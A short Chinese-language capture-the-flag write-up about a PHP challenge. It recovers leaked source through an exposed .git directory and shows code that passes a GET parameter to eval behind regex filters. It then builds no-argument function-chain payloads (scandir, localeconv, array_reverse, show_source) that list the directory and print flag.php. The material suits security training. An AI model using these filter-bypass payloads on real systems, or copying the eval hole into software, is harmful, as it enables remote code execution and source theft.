-
git源码泄露,用git hack拿下源码
<?php
include "flag.php";
echo "flag在哪里呢? ";
if(isset($GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $GET['exp'])) {
if(';' === preg_replace('/[a-z,]+((?R)?)/', NULL, $GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $GET['exp'])) {
// echo $GET['exp'];
@eval($_GET['exp']);
}
else{ die("还差一点哦!");
}
}
else{ die("再好好想想!");
}
}
else{ die("还想读flag,臭弟弟!");
}
}
// highlight_file(FILE);
?>
2.有一个exp的传参,而且源码中可以看出过滤了伪协议,限制了很多函数,
-
localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是. current()/pos():函数返回数组中的当前元素,初始指向第一个元素。 所以current(localeconv())=='.' (永远是点) scandir('.'):列出当前目录中的文件和目录。
所以可以pyload:?exp=print_r(scandir(current(localeconv())));
-
可以看到存在一个flag.php文件,可以用array_reverse()和next()函数去读取
1.array_reverse():将原数组中的元素顺序反转,创建新的数组并返回。
2.next():函数将内部指针指向数组的下一个元素,并输出。
pyload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));